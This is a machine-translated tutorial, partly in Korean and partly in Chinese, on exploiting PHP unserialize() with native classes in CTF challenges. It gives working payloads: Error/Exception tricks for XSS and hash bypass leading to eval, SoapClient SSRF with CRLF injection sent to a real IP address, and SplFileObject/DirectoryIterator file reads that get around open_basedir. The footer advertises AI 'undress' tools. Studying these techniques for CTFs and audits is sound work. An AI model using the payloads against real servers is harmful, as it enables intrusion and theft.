PHP 역직렬화 네이티브 클래스에 대한 심층적인 이해
이 기사에서는 역직렬화된 네이티브 클래스의 사용을 주로 소개하는 PHP에 대한 관련 지식을 제공합니다. 코드 감사 또는 ctf에 역직렬화 기능이 있지만 구성할 수 없는 경우 완전한 팝 체인이 생성되면 어떻게 해야 합니까? 모두에게 도움이 되기를 바랍니다.
추천 학습: "PHP 비디오 튜토리얼"
PHP 역직렬화 네이티브 클래스 사용에 대한 간략한 분석
코드 감사 또는 ctf에 역직렬화 기능 지점이 있지만 구성할 수 없는 경우 완전 팝 체인, 이때 어떻게 상황을 깨뜨려야 할까요? PHP 네이티브 클래스로 시작해 볼 수 있습니다. 일부 PHP 네이티브 클래스에는 몇 가지 내장된 매직 메서드가 있습니다. 제어 가능한 매개 변수를 영리하게 구성하고 내장된 매직 메서드를 사용하면 원하는 목표 중 일부를 달성할 수 있습니다. .
1. 일반적인 매직 메소드
__wakeup() //执行unserialize()时,先会调用这个函数 __sleep() //执行serialize()时,先会调用这个函数 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把对象当作字符串使用时触发 __invoke() //当尝试将对象调用为函数时触发
2. 네이티브 클래스의 매직 메소드
다음 스크립트를 사용하여 모든 네이티브 클래스의 매직 메소드를 탐색합니다.
<?php $classes = get_declared_classes();foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } }}
3.
Error/ExceptionError은 모든 PHP 내부 오류 클래스의 기본 클래스입니다. (PHP 7, 8)
**Error::__toString ** error의 문자열 표현Error의 문자열 표현을 반환합니다.Exception은 모든 사용자 수준 예외의 기본 클래스입니다. (PHP 5, 7, 8)
**Exception::__toString ** 예외 객체를 문자열로 변환 문자열(string) 형식으로 변환된 예외를 반환합니다. ㅋㅋㅋXSS
__toString 메소드는 우리가 입력한 매개변수가 포함된 문자열 형식으로 오류나 예외를 반환합니다. xss 코드 문자열을 구성하고 이를 에코 렌더링과 결합하면 반영된 xss 취약점이 트리거됩니다
예:<?php $a = unserialize($_GET['a']);echo $a;
<?php $a = new Error("<script>alert('xss')");$b = serialize($a);echo urlencode($b);
먼저 질문을 살펴보겠습니다
<?phperror_reporting (0);class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } }}if (isset($_GET['great'])){ unserialize($_GET['great']);} else { highlight_file(__FILE__);}
분명히 정상 메소드는 작동하지 않지만 네이티브 클래스를 통해 우회할 수 있습니다마찬가지로 md5() 및 sha1() 함수가 객체를 처리할 때 __tostring 메소드가 자동으로 호출됩니다
간단히 살펴보겠습니다 출력에서 먼저
<?php $a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3); $d=new Exception("payload",4); echo $a."<br>"; echo $b."<br>"; echo $c."<br>"; echo $d;
이 두 네이티브 클래스가 반환한 정보는 줄 번호를 제외하고 완전히 동일하다는 것을 알 수 있습니다. 이를 사용하면 해시 함수를 우회할 수 있습니다. 들어오는 두 개체는 같은 줄에 배치되어야 합니다
따라서 간단한 테스트를 수행할 수 있으며 이 방법을 사용하면 해시 강력한(약한) 함수 비교를 우회할 수 있음을 알 수 있습니다
<?php $a = new Error("payload",1);$b = new Error("payload",2);if ($a!=$b){ echo '$a不等于$b'."\n";}if (md5($a)===md5($b)){ echo "md5值相等\n";}if (sha1($a)===sha1($b)){ echo "sha1值相等";}
<?phpclass SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } }}$str = "?>=include~".urldecode("%D0%99%93%9E%98")."?>";//两次取反绕过正则$a=new Error($str,1); $b=new Error($str,2); $c = new SYCLOVER();$c->syc = $a;$c->lover = $b; echo(urlencode(serialize($c)));?>
SoapClient
는 웹 서비스에 액세스하는 데 사용되는 클래스로 SOAP 프로토콜을 기반으로 웹 서비스에 액세스하는 PHP 클라이언트를 제공할 수 있으며, SOAP 데이터 메시지를 생성하고 wsdl 인터페이스와 상호 작용할 수 있습니다. Soap 확장 모듈은 기본적으로 닫혀 있으며 사용 시 수동으로 켜야 합니다. SoapClient::__call— SOAP 함수 호출(PHP 5, 7, 8)
일반적으로 SOAP 함수는 다음과 같이 호출할 수 있습니다. SoapClient 개체
SSRF생성자:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ]) 第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换 SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。 其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
<?php $a = new SoapClient(null, array( 'location' => 'http://47.102.146.95:2333', 'uri' =>'uri', 'user_agent'=>'111111')); $b = serialize($a); echo $b; $c = unserialize($b); $c->a();
를 수신하여 SOAPAction과 user_agent를 모두 제어할 수 있습니다
CRLF 취약점에 협력하면 다른 매개변수를 제어하거나 SoapClient를 통해 데이터를 보낼 수도 있습니다. 예: Redis를 공격하는 HTTP 프로토콜
CRLF 지식 확장HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。 CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。 攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。
<?php $a = new SoapClient(null, array( 'location' => 'http://47.102.146.95:2333', 'uri' =>'uri', 'user_agent'=>"111111\r\nCookie: PHPSESSION=dasdasd564d6as4d6a")); $b = serialize($a);echo $b;$c = unserialize($b);$c->a();
发送POST的数据包,这里需要将Content-Type设置为application/x-www-form-urlencoded,我们可以通过添加两个\r\n来将原来的Content-Type挤下去,自定义一个新的Content-Type
<?php $a = new SoapClient(null, array( 'location' => 'http://47.102.146.95:2333', 'uri' =>'uri', 'user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata")); $b = serialize($a);echo $b;$c = unserialize($b);$c->a();
看一道ctfshow上的题,完美利用上述知识点
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); //获取xff头 if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
poc:
<?php $target = 'http://127.0.0.1/flag.php'; $post_string = 'token=ctfshow'; $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf")); $a = serialize($b); $a = str_replace('^^',"\r\n",$a); echo urlencode($a); ?>
DirectoryIterator/FilesystemIterator
DirectoryIterator类提供了一个简单的接口来查看文件系统目录的内容。
DirectoryIterator::__toString 获取字符串形式的文件名 (PHP 5,7,8)
目录遍历
使用此内置类的__toString方法结合glob或file协议,即可实现目录遍历
例如:
<?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
FilesystemIterator继承于DirectoryIterator,两者作用和用法基本相同,区别为FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名
因为可以配合使用glob伪协议(查找匹配的文件路径模式),所以可以绕过open_basedir的限制
在php4.3以后使用了zend_class_unserialize_deny
来禁止一些类的反序列化,很不幸的是这两个原生类都在禁止名单当中
SplFileObject
SplFileObject 类为单个文件的信息提供了一个面向对象的高级接口
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
文件读取
SplFileObject::__toString — 以字符串形式返回文件的路径
<?phphighlight_file (__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){ echo($a); }*/
如果没有遍历的话只能读取第一行,且受到open_basedir
影响
SimpleXMLElement
解析XML 文档中的元素。 (PHP 5、PHP 7、PHP 8)
SimpleXMLElement::__construct — 创建一个新的 SimpleXMLElement 对象
XXE
我们查看一下其参数:
根据官方文档,发现当第三个参数为True时,即可实现远程xml文件载入,第二个参数的常量值设置为2即可。
利用可参考赛题:[SUCTF 2018]Homework
ReflectionMethod
获取注释内容
(PHP 5 >= 5.1.0, PHP 7, PHP 8)
ReflectionFunctionAbstract::getDocComment — 获取注释内容
由该原生类中的getDocComment方法可以访问到注释的内容
同时可利用的原生类还有ZipArchive– 删除文件等等,不在叙述
推荐学习:《PHP视频教程》
위 내용은 PHP 역직렬화 네이티브 클래스에 대한 심층적인 이해의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

Video Face Swap
완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











PHP 8.4는 상당한 양의 기능 중단 및 제거를 통해 몇 가지 새로운 기능, 보안 개선 및 성능 개선을 제공합니다. 이 가이드에서는 Ubuntu, Debian 또는 해당 파생 제품에서 PHP 8.4를 설치하거나 PHP 8.4로 업그레이드하는 방법을 설명합니다.

숙련된 PHP 개발자라면 이미 그런 일을 해왔다는 느낌을 받을 것입니다. 귀하는 상당한 수의 애플리케이션을 개발하고, 수백만 줄의 코드를 디버깅하고, 여러 스크립트를 수정하여 작업을 수행했습니다.

VS Code라고도 알려진 Visual Studio Code는 모든 주요 운영 체제에서 사용할 수 있는 무료 소스 코드 편집기 또는 통합 개발 환경(IDE)입니다. 다양한 프로그래밍 언어에 대한 대규모 확장 모음을 통해 VS Code는

JWT는 주로 신분증 인증 및 정보 교환을 위해 당사자간에 정보를 안전하게 전송하는 데 사용되는 JSON을 기반으로 한 개방형 표준입니다. 1. JWT는 헤더, 페이로드 및 서명의 세 부분으로 구성됩니다. 2. JWT의 작업 원칙에는 세 가지 단계가 포함됩니다. JWT 생성, JWT 확인 및 Parsing Payload. 3. PHP에서 인증에 JWT를 사용하면 JWT를 생성하고 확인할 수 있으며 사용자 역할 및 권한 정보가 고급 사용에 포함될 수 있습니다. 4. 일반적인 오류에는 서명 검증 실패, 토큰 만료 및 대형 페이로드가 포함됩니다. 디버깅 기술에는 디버깅 도구 및 로깅 사용이 포함됩니다. 5. 성능 최적화 및 모범 사례에는 적절한 시그니처 알고리즘 사용, 타당성 기간 설정 합리적,

문자열은 문자, 숫자 및 기호를 포함하여 일련의 문자입니다. 이 튜토리얼은 다른 방법을 사용하여 PHP의 주어진 문자열의 모음 수를 계산하는 방법을 배웁니다. 영어의 모음은 A, E, I, O, U이며 대문자 또는 소문자 일 수 있습니다. 모음이란 무엇입니까? 모음은 특정 발음을 나타내는 알파벳 문자입니다. 대문자와 소문자를 포함하여 영어에는 5 개의 모음이 있습니다. a, e, i, o, u 예 1 입력 : String = "Tutorialspoint" 출력 : 6 설명하다 문자열의 "Tutorialspoint"의 모음은 u, o, i, a, o, i입니다. 총 6 개의 위안이 있습니다

이 튜토리얼은 PHP를 사용하여 XML 문서를 효율적으로 처리하는 방법을 보여줍니다. XML (Extensible Markup Language)은 인간의 가독성과 기계 구문 분석을 위해 설계된 다목적 텍스트 기반 마크 업 언어입니다. 일반적으로 데이터 저장 AN에 사용됩니다

정적 바인딩 (정적 : :)는 PHP에서 늦은 정적 바인딩 (LSB)을 구현하여 클래스를 정의하는 대신 정적 컨텍스트에서 호출 클래스를 참조 할 수 있습니다. 1) 구문 분석 프로세스는 런타임에 수행됩니다. 2) 상속 관계에서 통화 클래스를 찾아보십시오. 3) 성능 오버 헤드를 가져올 수 있습니다.

PHP의 마법 방법은 무엇입니까? PHP의 마법 방법은 다음과 같습니다. 1. \ _ \ _ Construct, 객체를 초기화하는 데 사용됩니다. 2. \ _ \ _ 파괴, 자원을 정리하는 데 사용됩니다. 3. \ _ \ _ 호출, 존재하지 않는 메소드 호출을 처리하십시오. 4. \ _ \ _ get, 동적 속성 액세스를 구현하십시오. 5. \ _ \ _ Set, 동적 속성 설정을 구현하십시오. 이러한 방법은 특정 상황에서 자동으로 호출되어 코드 유연성과 효율성을 향상시킵니다.
